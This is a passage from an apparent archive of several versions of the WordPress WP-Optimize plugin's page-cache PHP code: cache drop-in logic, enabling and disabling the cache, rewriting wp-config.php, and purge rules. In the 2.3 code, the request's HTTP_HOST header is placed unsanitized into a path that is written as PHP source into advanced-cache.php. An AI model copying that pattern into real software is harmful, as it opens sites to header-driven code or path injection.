		return WP_Optimize()->get_browser_cache()->enable_browser_cache_command_handler($params);
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000006442 13477736574 032751 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache');

/**
 * Load extensions.
 */
wpo_cache_load_extensions();

// Don't cache robots.txt or htacesss.
if (strpos($_SERVER['REQUEST_URI'], 'robots.txt') !== false || strpos($_SERVER['REQUEST_URI'], '.htaccess') !== false) {
	return;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) {
	return;
}

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array( 'php', 'xml', 'xsl' ))) {
	return;
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array('wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_');

	if (empty($GLOBALS['wpo_cache_config']['enable_user_caching']) || false == $GLOBALS['wpo_cache_config']['enable_user_caching']) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($wp_cookies as $cookie) {
				if (false !== strpos($key, $cookie)) {
					// Logged in!
					return;
				}
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_posts'])) {
		foreach ($_COOKIE['wpo_commented_posts'] as $path) {
			if (rtrim($path, '/') === rtrim($_SERVER['REQUEST_URI'], '/')) {
				// User commented on this post.
				return;
			}
		}
	}

	// get cookie exceptions from options.
	$cache_exception_cookies = !empty($GLOBALS['wpo_cache_config']['cache_exception_cookies']) ? $GLOBALS['wpo_cache_config']['cache_exception_cookies'] : array();
	// filter cookie exceptions.
	$cache_exception_cookies = apply_filters('wpo_cache_exception_cookies', $cache_exception_cookies);

	// check if any cookie exists from exception list.
	if (!empty($cache_exception_cookies)) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($cache_exception_cookies as $cookie) {
				if ('' != trim($cookie) && false !== strpos($key, $cookie)) {
					return;
				}
			}
		}
	}
}

// check in not disabled current user agent
if (!empty($_SERVER['HTTP_USER_AGENT']) && false === wpo_is_accepted_user_agent($_SERVER['HTTP_USER_AGENT'])) return;

// Deal with optional cache exceptions.
if (!empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_urls']) ? $GLOBALS['wpo_cache_config']['cache_exception_urls'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);

	foreach ($exceptions as $exception) {

		if (wpo_current_url_exception_match($exception)) {
			// Exception match.
			return;
		}
	}
}

if (!empty($_GET)) {
	// get variables used for building filename.
	$get_variable_names = wpo_cache_query_variables();

	// get current GET variables.
	$get_variables = array_keys($_GET);

	// if GET variables include one or more then we don't cache.
	$diff = array_diff($get_variables, $get_variable_names);
	if (!empty($diff)) return;
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.2.3/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000025623 13477736574 032670 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', untrailingslashit(WP_CONTENT_DIR).'/cache/wpo-cache');


if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-php-logger.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH . '/includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH . '/includes/class-updraft-php-logger.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';
wpo_cache_load_extensions();

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();
	}

	/**
	 * Enables page cache
	 *
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable() {
		static $already_ran_enable = false;

		if ($already_ran_enable) return true;

		if (!$this->create_folders()) {
			return new WP_Error("create_folders", "The request to the filesystem to create the cache directories failed");
		}


		if (!$this->write_advanced_cache()) {
			return new WP_Error("write_advanced_cache", "The request to write the advanced-cache.php file failed");
		}


		if (!$this->write_wp_config(true)) {
			return new WP_Error("write_wp_config", "Could not toggle the WP_CACHE constant in wp-config.php");
		}

		if (!$this->verify_cache()) {
			return new WP_Error("verify_cache", "Could not verify if cache was enabled");
		}

		$already_ran_enable = true;

		return true;
	}


	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		if (false === self::clean(untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php')) {
			$this->log("The request to the filesystem to write the advanced-cache.php file failed");
			$ret = false;
		}

		if (!$this->write_wp_config(false)) {
			$this->log("Could not toggle the WP_CACHE constant in wp-config.php");
			$ret = false;
		}

		// Delete cache to avoid stale cache on next activation
		$this->purge();

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (!$this->config->get_option('enable_page_caching', false)) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !wp_mkdir_p(WPO_CACHE_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_DIR);
			return false;
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !wp_mkdir_p(WPO_CACHE_CONFIG_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_CONFIG_DIR);
			return false;
		}
		
		if (!is_dir(WPO_CACHE_FILES_DIR) && !wp_mkdir_p(WPO_CACHE_FILES_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_FILES_DIR);
			return false;
		}

		return true;
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @return bool
	 */
	private function write_advanced_cache() {

		$file = untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
		$contents = '';

		if (!$this->config->get_option('enable_page_caching', false)) {
			return false;
		}

		$cache_file = untrailingslashit(plugin_dir_path(__FILE__)) . '/file-based-page-cache.php';
		$config_file = WPO_CACHE_CONFIG_DIR . '/config-' . $_SERVER['HTTP_HOST'] . '.php';
		$cache_path = WPO_CACHE_DIR;
		$cache_config_path = WPO_CACHE_CONFIG_DIR;
		$cache_files_path = WPO_CACHE_FILES_DIR;
		$cache_extensions_path = WPO_CACHE_EXT_DIR;

		// CS does not like heredoc
		// @codingStandardsIgnoreStart
		$contents = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', '$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', '$cache_config_path');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', '$cache_files_path');
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', '$cache_extensions_path');

if (is_admin()) { return; }
if (!@file_exists('$config_file')) { return; }

\$GLOBALS['wpo_cache_config'] = json_decode(file_get_contents('$config_file'), true);

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (@file_exists('$cache_file')) { include_once('$cache_file'); }

EOF;
		// @codingStandardsIgnoreEnd
		if (!file_put_contents($file, $contents)) {
			return false;
		}

		return true;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {

		if (defined('WP_CACHE') && WP_CACHE === $status) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		if (!file_put_contents($config_path, implode("\r\n", $config_file))) {
			return false;
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php, please check file/folder permissions");
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write inside the wp-content folder, please check file/folder permissions");
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable.
		if (file_exists(WPO_CACHE_DIR)) {
			if (!is_writable(WPO_CACHE_DIR)) {
				$this->log("Unable to write inside the cache folder, please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder, please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder, please check file/folder permissions");
				return false;
			}
		}

		return true;
	}

	/**
	 * Update cache config. Used to support 3d party plugins.
	 */
	public function update_cache_config() {
		// get current cache settings.
		$current_config = $this->config->get();
		// and call update to change if need cookies and query variable names.
		$this->config->update($current_config);
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string wp-config.php path.
	 */
	private function _get_wp_config() {

		$file = '/wp-config.php';
		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (0 === stripos(strrev($filename), strrev($file))) {
				$config_path = $filename;
			}
		}

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		return wpo_delete_files($src);

	}

	/**
	 * Make an empty file.
	 *
	 * @param string $src
	 */
	public static function clean($src) {
		return file_put_contents($src, '');
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log('ERROR', $message);
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/000755 000000 000000 00000000000 14215042733 025333 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/000755 000000 000000 00000000000 14215042743 026377 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-cache-commands.php000644 000000 000000 00000023037 14173760430 033065 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * All cache commands that are intended to be available for calling from any sort of control interface (e.g. wp-admin, UpdraftCentral) go in here. All public methods should either return the data to be returned, or a WP_Error with associated error code, message and error data.
 */
class WP_Optimize_Cache_Commands {

	private $optimizer;

	private $options;

	/**
	 * WP_Optimize_Cache_Commands constructor.
	 */
	public function __construct() {
		$this->optimizer = WP_Optimize()->get_optimizer();
		$this->options = WP_Optimize()->get_options();
	}

	/**
	 * Save cache settings
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	public function save_cache_settings($data) {

		if (!class_exists('WPO_Cache_Config')) return array(
			'result' => false,
			'message' => "WPO_Cache_Config class doesn't exist",
		);

		// filter for validate cache settings before save it.
		$validation = apply_filters('wpo_save_cache_settings_validation', $data['cache-settings']);

		if (!empty($validation) && isset($validation['result']) && false === $validation['result']) {
			return $validation;
		}

		$enabled = false;
		$disabled = false;
		$return = !empty($validation) ? $validation : array();
		$previous_settings = WPO_Cache_Config::instance()->get();

		// Attempt to change current status if required
		if (isset($previous_settings['enable_page_caching']) && $previous_settings['enable_page_caching'] != $data['cache-settings']['enable_page_caching']) {
			// Disable cache.
			if (empty($data['cache-settings']['enable_page_caching'])) {
				$disabled = WPO_Page_Cache::instance()->disable();
				// Disabling failed
				if ($disabled && is_wp_error($disabled)) {
					// If disabling failed, we re-enable whatever was disabled, to make sure nothing breaks.
					if ($previous_settings['enable_page_caching']) WPO_Page_Cache::instance()->enable(true);
					$return['error'] = array(
						'code' => $disabled->get_error_code(),
						'message' => $disabled->get_error_message()
					);
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was disabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			} else {
				// we need to rebuild advanced-cache.php and add WP_CACHE to wp-config.
				$enabled = WPO_Page_Cache::instance()->enable(true);
				// Enabling failed
				if (is_wp_error($enabled)) {
					// disable everything, to avoid half enabled things
					WPO_Page_Cache::instance()->disable();
					$return['error'] = array(
						'code' => $enabled->get_error_code(),
						'message' => $enabled->get_error_message()
					);

					if (WPO_Page_Cache::instance()->advanced_cache_file_writing_error) {
						$return['advanced_cache_file_writing_error'] = true;
						$return['advanced_cache_file_content'] = WPO_Page_Cache::instance()->advanced_cache_file_content;
					}
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was enabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			}
			// Override enabled setting value
			$data['cache-settings']['enable_page_caching'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));
		} else {
			$data['cache-settings']['enable_page_caching'] = $previous_settings['enable_page_caching'];
			$enabled = $previous_settings['enable_page_caching'];
		}

		$skip_if_no_file_yet = !$enabled || is_wp_error($enabled);
		$save_settings_result = WPO_Cache_Config::instance()->update($data['cache-settings'], $skip_if_no_file_yet);

		if ($save_settings_result && !is_wp_error($save_settings_result)) {
			WP_Optimize_Page_Cache_Preloader::instance()->cache_settings_updated($data['cache-settings'], $previous_settings);
			$return['result'] = $save_settings_result;
		} else {
			// Saving the settings returned an error
			if (is_wp_error($save_settings_result)) {
				if (isset($return['error'])) {
					$return['error']['message'] .= "\n\n".$save_settings_result->get_error_message();
				} else {
					$return['error'] = array(
						'code' => $save_settings_result->get_error_code(),
						'message' => $save_settings_result->get_error_message()
					);
				}
			}
			$return['result'] = false;
		}

		$return['enabled'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));

		return $return;
	}

	/**
	 * Get information about current cache status. Used in cli commands.
	 *
	 * @return array
	 */
	public function get_status_info() {
		$status = array();

		$status[] = WPO_Page_Cache::instance()->is_enabled() ? __('Caching is enabled', 'wp-optimize') : __('Caching is disabled', 'wp-optimize');

		$preloader_status = WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
		$status[] = sprintf(__('Current cache size: %s', 'wp-optimize'), $preloader_status['size']);
		$status[] = sprintf(__('Number of files: %s', 'wp-optimize'), $preloader_status['file_count']);

		if (array_key_exists('message', $preloader_status)) $status[] = $preloader_status['message'];

		$status['message'] = join(PHP_EOL, $status);

		return $status;
	}

	/**
	 * Enable cache.
	 */
	public function enable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = true;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Disable cache.
	 */
	public function disable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = false;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Purge WP-Optimize page cache.
	 *
	 * @return array
	 */
	public function purge_page_cache() {

		if (!WP_Optimize()->can_purge_the_cache()) {
			return array(
				'success' => false,
				'message' => __('You do not have permission to purge the cache', 'wp-optimize'),
			);
		}

		$purged = WP_Optimize()->get_page_cache()->purge();
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();
		$wpo_page_cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		$response = array(
			'success' => $purged,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count'],
		);

		// if scheduled preload enabled then reschedule and run preloader.
		if ($wpo_page_cache_preloader->is_scheduled_preload_enabled()) {
			// cancel preload and reschedule preload action.
			$wpo_page_cache_preloader->cancel_preload();
			$wpo_page_cache_preloader->reschedule_preload();

			// run preloader.
			$wpo_page_cache_preloader->run('scheduled', $response);
		}

		if ($response['success']) {
			$response['message'] = __('Page cache purged successfully', 'wp-optimize');
		}

		return $response;
	}

	/**
	 * Run cache preload (for wp-cli).
	 *
	 * @return array|bool
	 */
	public function run_cache_preload_cli() {
		if (!(defined('WP_CLI') && WP_CLI)) return false;

		// define WPO_ADVANCED_CACHE constant as WP-CLI doesn't load advanced-cache.php file
		// but we check this constant value wen detecting status of cache
		if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
		// don't interrupt queue processing
		add_filter('updraft_interrupt_tasks_queue_load-url-task', '__return_false', 99);

		// if preloading is running then exit.
		if (WP_Optimize_Page_Cache_Preloader::instance()->is_busy()) {
			return array(
				'success' => false,
				'error' => __('Preloading is currently running in another process.', 'wp-optimize'),
			);
		}

		// set default response.
		$response = array(
			'success' => true,
			'message' => __('All URLs were preloaded into cache successfully', 'wp-optimize'),
		);

		WP_CLI::log(__('Preloading URLs into cache...', 'wp-optimize'));

		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual', $response);
	}

	/**
	 * Run cache preload action.
	 *
	 * @return void|array - Doesn't return anything if run() is successfull (Run() prints a JSON object and closed browser connection) or an array if failed.
	 */
	public function run_cache_preload() {
		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual');
	}

	/**
	 * Cancel cache preload action.
	 *
	 * @return array
	 */
	public function cancel_cache_preload() {
		WP_Optimize_Page_Cache_Preloader::instance()->cancel_preload();
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Get status of cache preload.
	 *
	 * @return array
	 */
	public function get_cache_preload_status() {
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Enable or disable browser cache.
	 *
	 * @param array $params - ['browser_cache_expire' => '1 month 15 days 2 hours' || '' - for disable cache]
	 * @return array
	 */
	public function enable_browser_cache($params) {
		return WP_Optimize()->get_browser_cache()->enable_browser_cache_command_handler($params);
	}

	/**
	 * Format save_cache_settings() result for displaying in WP-CLI console
	 *
	 * @param array $response
	 * @return array
	 */
	private function format_save_cache_settings_response($response) {
		$result = array(
			'success' => $response['result'],
		);

		if (isset($response['error'])) {
			$result['success'] = false;
			$result['error'] = $response['error']['message'];
		}

		if ($result['success']) {
			$result['message'] = __('Page cache settings updated successfully.', 'wp-optimize');
		}

		return $result;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000030100 14173760430 033206 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_archive_pages_on_post_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('comment_post', array($this, 'purge_post_on_comment'), 10, 3);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10, 1);
		add_action('edit_terms', array($this, 'purge_related_elements_on_term_updated'), 10, 2);
		add_action('set_object_terms', array($this, 'purge_related_elements_on_post_terms_change'), 10, 6);
		add_action('wpo_cache_config_updated', array($this, 'cache_config_updated'), 10, 1);
		add_action('wp_insert_comment', array($this, 'comment_inserted'), 10, 2);

		add_action('woocommerce_variation_set_stock', array($this, 'purge_product_page'), 10, 1);
		add_action('woocommerce_product_set_stock', array($this, 'purge_product_page'), 10, 1);

		/**
		 * List of hooks for which when executed, the cache will be purged
		 *
		 * @param array $actions The actions
		 */
		$purge_on_action = apply_filters('wpo_purge_cache_hooks', array('after_switch_theme', 'wp_update_nav_menu', 'customize_save_after', array('wp_ajax_save-widget', 0), array('wp_ajax_update-widget', 0), 'autoptimize_action_cachepurged', 'upgrader_overwrote_package', 'wpo_active_plugin_or_theme_updated', 'fusion_cache_reset_after'));
		foreach ($purge_on_action as $action) {
			if (is_array($action)) {
				add_action($action[0], array($this, 'purge_cache'), $action[1]);
			} else {
				add_action($action, array($this, 'purge_cache'));
			}
		}

		add_filter('wpo_cache_cookies', array($this, 'wpo_cache_cookies'), 9);
	}

	/**
	 * Purge post cache when there is a new approved comment
	 *
	 * @param  int        $comment_id  Comment ID.
	 * @param  int|string $approved    Comment approved status. can be 0, 1 or 'spam'.
	 * @param  array      $commentdata Comment data array. Always sent be WP core, but a plugin was found that does not send it - https://wordpress.org/support/topic/critical-problems-with-version-3-0-10/
	 */
	public function purge_post_on_comment($comment_id, $approved, $commentdata = array()) {
		if (1 !== $approved) {
			return;
		}

		if (!empty($this->config['enable_page_caching']) && !empty($commentdata['comment_post_ID'])) {
			$post_id = $commentdata['comment_post_ID'];

			WPO_Page_Cache::delete_single_post_cache($post_id);
			WPO_Page_Cache::delete_comments_feed();
		}
	}

	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param int $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {
		if (!empty($this->config['enable_page_caching'])) {
			$comment = get_comment($comment_id);
			if (is_object($comment) && !empty($comment->comment_post_ID)) {
				WPO_Page_Cache::delete_single_post_cache($comment->comment_post_ID);
				WPO_Page_Cache::delete_comments_feed();
			}
		}
	}

	/**
	 * Action when a comment is inserted
	 *
	 * @param integer            $comment_id - The comment ID
	 * @param boolean|WP_Comment $comment    - The comment object (from WP 4.4)
	 * @return void
	 */
	public function comment_inserted($comment_id, $comment = false) {
		if ($comment && is_a($comment, 'WP_Comment')) {
			/**
			 * Filters whether to add a cookie when a comment is posted, in order to exclude the page from caching.
			 * Regular comments have the property comment_type set to ''  or 'comment'. So by default, only add the cookie in those cases.
			 *
			 * @param boolean    $add_cookie
			 * @param WP_Comment $comment
			 * @return boolean
			 */
			$add_cookie = apply_filters('wpo_add_commented_post_cookie', '' == $comment->comment_type || 'comment' == $comment->comment_type, $comment);
			if (!$add_cookie) return;

			$url = get_permalink($comment->comment_post_ID);
			$url_info = parse_url($url);
			setcookie('wpo_commented_post', 1, time() + WEEK_IN_SECONDS, isset($url_info['path']) ? $url_info['path'] : '/');
		}
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id - WP post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);
		$post_type_object = get_post_type_object($post_type);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || !$post_type_object->public) {
			return;
		}

		/**
		 * Purge the whole cache if set to true, only the edited post otherwise. Default is false.
		 *
		 * @param boolean $purge_all_cache The default filter value
		 * @param integer $post_id         The saved post ID
		 */
		if (apply_filters('wpo_purge_all_cache_on_update', false, $post_id)) {
			$this->purge_cache();
			return;
		} else {
			if (apply_filters('wpo_delete_cached_homepage_on_post_update', true, $post_id)) WPO_Page_Cache::delete_homepage_cache();
			WPO_Page_Cache::delete_feed_cache();
			WPO_Page_Cache::delete_single_post_cache($post_id);
			WPO_Page_Cache::delete_sitemap_cache();
			WPO_Page_Cache::delete_post_feed_cache($post_id);
		}
	}

	/**
	 * Purge archive pages on post update.
	 *
	 * @param integer $post_id
	 */
	public function purge_archive_pages_on_post_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		$post_obj = get_post_type_object($post_type);

		if ('post' == $post_type) {
			// delete blog page cache
			$blog_post_id = get_option('page_for_posts');
			if ($blog_post_id) {
				WPO_Page_Cache::delete_cache_by_url(get_permalink($blog_post_id), true);
			}
		
			// delete next and previus posts cache.
			$globals_post = isset($GLOBALS['post']) ? $GLOBALS['post'] : false;
			$GLOBALS['post'] = get_post($post_id);
			$previous_post = function_exists('get_previous_post') ? get_previous_post() : false;
			$next_post = function_exists('get_next_post') ? get_next_post() : false;
			if ($globals_post) $GLOBALS['post'] = $globals_post;
			
			if ($previous_post) WPO_Page_Cache::delete_cache_by_url(get_permalink($previous_post), true);
			if ($next_post) WPO_Page_Cache::delete_cache_by_url(get_permalink($next_post), true);
			
			// delete all archive pages for post.
			$post_date = get_post_time('Y-m-j', false, $post_id);
			list($year, $month, $day) = $post_date;

			$archive_links = array(
				get_year_link($year),
				get_month_link($year, $month),
				get_day_link($year, $month, $day),
			);

			foreach ($archive_links as $link) {
				WPO_Page_Cache::delete_cache_by_url($link, true);
			}
		} elseif ($post_obj->has_archive) {
			// delete archive page for custom post type.
			WPO_Page_Cache::delete_cache_by_url(get_post_type_archive_link($post_type), true);
		}

	}

	/**
	 * We use it with edit_terms action filter to purge cached elements related
	 * to updated term when term updated.
	 *
	 * @param int    $term_id  Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function purge_related_elements_on_term_updated($term_id, $taxonomy) {
		// purge cached page for term.
		$term = get_term($term_id, $taxonomy, ARRAY_A);
		if (is_array($term)) {
			$term_permalink = get_term_link($term['term_id']);
			if (!is_wp_error($term_permalink)) {
				WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
			}
		}

		// get posts which belongs to updated term.
		$posts = get_posts(array(
			'numberposts'      => -1,
			'post_type'        => 'any',
